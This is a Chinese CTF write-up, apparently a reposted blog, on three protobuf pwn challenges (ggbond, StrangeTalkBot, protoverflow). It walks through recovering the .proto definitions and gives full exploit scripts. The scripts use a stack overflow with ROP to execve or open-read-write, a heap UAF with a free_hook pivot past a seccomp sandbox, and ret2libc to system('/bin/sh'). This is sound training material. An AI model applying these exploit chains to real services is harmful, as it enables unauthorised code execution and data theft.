protobuf pwn题专项

news/2025/1/15 23:29:42/文章来源:https://www.cnblogs.com/S1nyer/p/18341300

protobuf pwn

准备工作

安装protobuf编译器

sudo apt-get install libprotobuf-dev protobuf-compiler  

安装python依赖库

pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos

安装pbtk

git clone https://github.com/marin-m/pbtk

ggbond

来自DubheCTF2024的一道GO protobuf题

提取proto文件

如果pbtk的图形化界面打不开,也可以用命令行,切换到pbtk的extractors目录下,输入下面命令进行提取

./from_binary.py input_file [output_dir]

得到ggbond.proto

syntax = "proto3";package GGBond;option go_package = "./;ggbond";service GGBondServer {rpc Handler(Request) returns (Response);
}message Request {oneof request {WhoamiRequest whoami = 100;RoleChangeRequest role_change = 101;RepeaterRequest repeater = 102;}
}message Response {oneof response {WhoamiResponse whoami = 200;RoleChangeResponse role_change = 201;RepeaterResponse repeater = 202;ErrorResponse error = 444;}
}message WhoamiRequest {}message WhoamiResponse {string message = 2000;
}message RoleChangeRequest {uint32 role = 1001;
}message RoleChangeResponse {string message = 2001;
}message RepeaterRequest {string message = 1002;
}message RepeaterResponse {string message = 2002;
}message ErrorResponse {string message = 4444;
}

切到.proto文件的目录,输入下面命令

python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto

编译得到py文件

分析程序逻辑

IDA定位到程序main_main入口

image

grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们主要分析的代码

根据逆向可以得到程序的大致逻辑:

程序有三种消息格式:

  • Whoami:打印当前的规则
  • RoleChange:更改当前的规则(一共有四种规则,0到3)
  • Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息

导入依赖文件,写出交互函数

import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"def who():channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())response = stub.Handler(request)print("Response from Handler:", response)def Role(ty):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))response = stub.Handler(request)print("Response from Handler:", response)def Rep(data):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))stub.Handler(request)

接下来我们看规则3下服务器是如何处理发送的信息的

image

将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8

image

接下来就是常规go题的ret2syscall了

exp脚本

提供了shell和ORW两种打法

from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"def who():channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())response = stub.Handler(request)print("Response from Handler:", response)def Role(ty):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))response = stub.Handler(request)print("Response from Handler:", response)def Rep(data):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))stub.Handler(request)context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """p.send('/bin/sh\x00')
try:Rep(base64.b64encode(rop))
except:p.interactive()

StrangeTalkBot

一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)

还原proto文件

查看主函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{unsigned __int64 v3; // [rsp+0h] [rbp-10h]char *v4; // [rsp+8h] [rbp-8h]sub_1763();while ( 1 ){memset(byte_A060, 0, sizeof(byte_A060));puts("You can try to have friendly communication with me now: ");v3 = read(0, byte_A060, 0x400uLL);v4 = sub_192D(0LL, v3, byte_A060);if ( !v4 )break;sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));}sub_1329();
}

循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体

为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了获得一些关键的头文件定义

sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git

接着我定义了一个测试proto文件并编译得到.h和.c文件

syntax = "proto2";message testMessage {required string name = 1;required sint64 id = 2;required bytes buffer = 3;required uint32 size = 4;
}

test.pb-c.h

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED#include <protobuf-c/protobuf-c.h>PROTOBUF_C__BEGIN_DECLS#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endiftypedef struct _TestMessage TestMessage;/* --- enums --- *//* --- messages --- */struct  _TestMessage
{ProtobufCMessage base;char *name;int64_t id;ProtobufCBinaryData buffer;uint32_t size;
};
#define TEST_MESSAGE__INIT \{ PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \, NULL, 0, {0,NULL}, 0 }/* TestMessage methods */
void   test_message__init(TestMessage         *message);
size_t test_message__get_packed_size(const TestMessage   *message);
size_t test_message__pack(const TestMessage   *message,uint8_t             *out);
size_t test_message__pack_to_buffer(const TestMessage   *message,ProtobufCBuffer     *buffer);
TestMessage *test_message__unpack(ProtobufCAllocator  *allocator,size_t               len,const uint8_t       *data);
void   test_message__free_unpacked(TestMessage *message,ProtobufCAllocator *allocator);
/* --- per-message closures --- */typedef void (*TestMessage_Closure)(const TestMessage *message,void *closure_data);/* --- services --- *//* --- descriptors --- */extern const ProtobufCMessageDescriptor test_message__descriptor;PROTOBUF_C__END_DECLS#endif  /* PROTOBUF_C_test_2eproto__INCLUDED */

test.pb-c.c

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto *//* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif#include "test.pb-c.h"
void   test_message__init(TestMessage         *message)
{static const TestMessage init_value = TEST_MESSAGE__INIT;*message = init_value;
}
size_t test_message__get_packed_size(const TestMessage *message)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack(const TestMessage *message,uint8_t       *out)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer(const TestMessage *message,ProtobufCBuffer *buffer)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *test_message__unpack(ProtobufCAllocator  *allocator,size_t               len,const uint8_t       *data)
{return (TestMessage *)protobuf_c_message_unpack (&test_message__descriptor,allocator, len, data);
}
void   test_message__free_unpacked(TestMessage *message,ProtobufCAllocator *allocator)
{if(!message)return;assert(message->base.descriptor == &test_message__descriptor);protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{{"name",1,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_STRING,0,   /* quantifier_offset */offsetof(TestMessage, name),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"id",2,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_SINT64,0,   /* quantifier_offset */offsetof(TestMessage, id),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"buffer",3,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_BYTES,0,   /* quantifier_offset */offsetof(TestMessage, buffer),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"size",4,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_UINT32,0,   /* quantifier_offset */offsetof(TestMessage, size),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},
};
static const unsigned test_message__field_indices_by_name[] = {2,   /* field[2] = buffer */1,   /* field[1] = id */0,   /* field[0] = name */3,   /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{{ 1, 0 },{ 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,"testMessage","TestMessage","TestMessage","",sizeof(TestMessage),4,test_message__field_descriptors,test_message__field_indices_by_name,1,  test_message__number_ranges,(ProtobufCMessageInit) test_message__init,NULL,NULL,NULL    /* reserved[123] */
};

生成的代码有点冗长,对逆向有帮助的主要在test.pb-c.c文件里面,声明了很多静态全局变量,例如描述消息字段的test_message__field_indices_by_name数组以及描述消息的全局变量test_message__descriptor,其中描述消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9,用IDA全局搜索该常量

image

很明显在我们要找的是在数据段的结果,而在该常量上面就是我们需要的消息字段描述结构体数组

现在我们知道描述消息中单个字段的结构体叫ProtobufCFieldDescriptor,从这个结构体中我们能提取到ProtobufCLabelProtobufCType这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor的结构体定义,我们将这三个结构体导入到IDA中

enum ProtobufCLabel
{PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not///< more than one).PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a///< well-formed message. The order of the repeated values will be///< preserved.PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};enum ProtobufCType
{PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< floatPROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< doublePROTOBUF_C_TYPE_BOOL = 0xC,           ///< booleanPROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated typePROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII stringPROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequencePROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
};struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char		*name;/** Tag value of the field as given in the .proto file. */uint32_t		id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel		label;/** The type of the field. */ProtobufCType		type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned		quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned		offset;const void		*descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void		*default_value;uint32_t		flags;/** Reserved for future use. */unsigned		reserved_flags;/** Reserved for future use. */void			*reserved2;/** Reserved for future use. */void			*reserved3;
};

然后还原消息字段描述结构体数组

image

由此可以还原出程序的proto文件如下

syntax = "proto2";message Devicemsg {required sint64 actionid = 1;required sint64 msgidx = 2;required sint64 msgsize = 3;required bytes msgcontent = 4;
}

最后用protoc编译该proto文件为py代码

可知sub_192D处理后返回的C语言结构体布局如下

struct  _Devicemsg
{ProtobufCMessage base;  //这个在IDA导入时可以用 unint64_t base[3]; 代替int64_t actionid;int64_t msgidx;int64_t msgsize;ProtobufCBinaryData msgcontent;
};struct ProtobufCBinaryData {size_t	len;        /**< Number of bytes in the `data` field. */uint8_t	*data;      /**< Data bytes. */
};

将该结构体导入IDA,设置main函数v4的类型为Devicemsg*

image

分析程序逻辑

看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的

常规的堆题菜单且delete存在UAF

存在这些限制:

  • 只能创建 0x21 个堆
  • 堆的大小和msgcontent长度不能超过 0xf1
  • 程序开启了沙盒禁用了execve调用

因为禁用了execve,所以不能打ogg或者system

image

利用思路也很清晰:

  • 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
  • 写free_hook利用magic_gadget进行栈迁移
  • 打ORW ROP

exp脚本

from pwn import *def debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2def add(i,s,c):msg = message_pb2.Devicemsg()msg.actionid = 1msg.msgidx = imsg.msgsize = smsg.msgcontent = csa(': \n',msg.SerializeToString())
def free(i):msg = message_pb2.Devicemsg()msg.actionid = 4msg.msgidx = imsg.msgsize = 0msg.msgcontent = b''sa(': \n',msg.SerializeToString())
def show(i):msg = message_pb2.Devicemsg()msg.actionid = 3msg.msgidx = imsg.msgsize = 0msg.msgcontent = b''sa(': \n',msg.SerializeToString())
def edit(i,c):msg = message_pb2.Devicemsg()msg.actionid = 2msg.msgidx = imsg.msgsize = 0msg.msgcontent = csa(': \n',msg.SerializeToString())for i in range(8):add(i,0xf0,b'')
for i in range(8):free(i)show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9payload = p64(libc_base+libc.sym["__free_hook"]) + flat([libc_base+0x0000000000025b9b,0,heap_base+0xad0,pop_rdi_ret,heap_base+0xad0,pop_rsi_ret,0,pop_rdx_r12_ret,0,0,pop_rax_ret,2,syscall_ret, # openpop_rdi_ret,3,pop_rsi_ret,heap_base+0xad0,pop_rdx_r12_ret,0x30,0,pop_rax_ret,0,syscall_ret, # readpop_rdi_ret,1,pop_rax_ret,1,syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({0x00: 0x67616c662f2e, # ./flag0x28: libc_base+0x00000000000578c8,0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov     rbp, [rdi+48h]
mov     rax, [rbp+18h]
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0
mov     rdi, r13
call    qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)inter()

protoverflow

CISCN2024 华中半决赛的题,C++ protobuf题,题目不难溢出点很明显,可惜当时因为python环境有问题导致没能写出来(哭哭

提取protobuf文件

和GO语言那道一样直接脚本提取得到proto文件

syntax = "proto2";message protoMessage {optional string name = 1;optional string phoneNumber = 2;required bytes buffer = 3;required uint32 size = 4;
}

分析程序逻辑

主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流

image

之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可

image

exp脚本

from pwn import *
import structdef debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)# debug('b *$rebase(0x332f)')ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base) 
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()

参考文章:python基础--protobuf的使用(一)_protobuf py-CSDN博客

【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/777416.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA游戏源码:魔塔大学生练手项目java学习项目

学习java朋友们,福利来了,今天小编给大家带来了一款魔塔源码。注意:此源码仅供学习使用!! 视频演示 源码搭建和讲解 启动main入口://************************************************************************ // ************完整源码移步: gitee典康姆/hadluo/java_g…

第五周进度报告

这周主要学习了java的一些基础知识,接下来的任务继续学习javaAPI部分的知识 鼠标监听机制 - MouseListener键盘监听机制 -KeyListener常用APIpackage me.Study;public class Test {public static void main(String[] args) {//获取到当前时间的毫秒值long start = System.curre…

dotnet hello world

参考资料 dotnet 命令参考 使用 dotnet test 和 xUnit 在 .NET 中对 C# 进行单元测试 Declaring InternalsVisibleTo in the csproj XUnit输出消息 创建控制台项目 # 创建项目目录 md DotnetStudy cd DotnetStudy# 创建解决方案 dotnet new sln # 创建控制台项目,-n: 名称,--us…

第五周学习mysql

本周学完了mysql基础部分的知识点 下周将学习进阶方面 本周浮躁了很多,目标都没定好,发现学这些mysql和之前学的代码思路有很多不一样的地方,上手很慢,学完事务之后才有一些整体的意思; 下周会定好目标加油努力学到视图,如果是只看视频不跟着敲代码的话,那就学完进阶篇,…

JAVA游戏源码:仙剑奇侠传|大学生练手项目

视频演示 源码搭建和讲解 启动main入口://************************************************************************ // ************完整源码移步: gitee典康姆/hadluo/java_game01.git ********* //*****************************************************************…

【恶意代码】那些事

一、什么是恶意代码 恶意代码(Unwanted Code) 是指故意编制或设置的对网络或系统会产生威胁或潜在威胁的计算机代码。最常见的恶意代码有计算机病毒(简称病毒)、特洛伊木马 (简称木马)、计算机蠕虫 (简称蠕虫)、后门、逻辑炸弹等等。 二、恶意代码的分类 恶意代码分类 恶意代码…

重学 KMP 小记

重学 KMP 小记 前言 KMP 这个东西赛时用到的几率很小(虽然圣人说概率不小、也不是很大),但是如果一旦考字符串类的题又极可能考匹配问题。当时掌握得也是一知半解,所以现在来重学来了。 情境引入 现实中我们会遇到类似的问题:给你一篇报道,让你找一找这篇报道中有没有出现…

Manhattan Triangle

纪念一下代码打得太慢了导致比赛结束3分钟才做出来的E题 我的做法: 考虑确定枚举三角形的一个点。最开始尝试枚举\(x\)最大的点,但是后面发现不太好讨论,于是尝试枚举\(x\)在中间的点,此时发现由于曼哈顿是三角形不可能是钝角三角形,剩下两个点要么同时在中间点的上方,要…

JAVA游戏源码:天天酷跑

学习java朋友们,福利来了,今天小编给大家带来了一款天天酷跑源码。注意:此源码仅供学习使用!! 源码搭建和讲解 启动main入口://************************************************************************ // ************完整源码移步: gitee典康姆/hadluo/java_game01…

从零开始的JAVAday29~day35

后续语法if()语法 若满足()中的语法,则执行后面的语句。循环for(a;b;c)和while(c)语法 for(a;c;b)语法意思为在循环前进行a语句每次循环结束后进行b语法,若满足c语句则再次循环。whlie(c)循环若满足c条件则循环。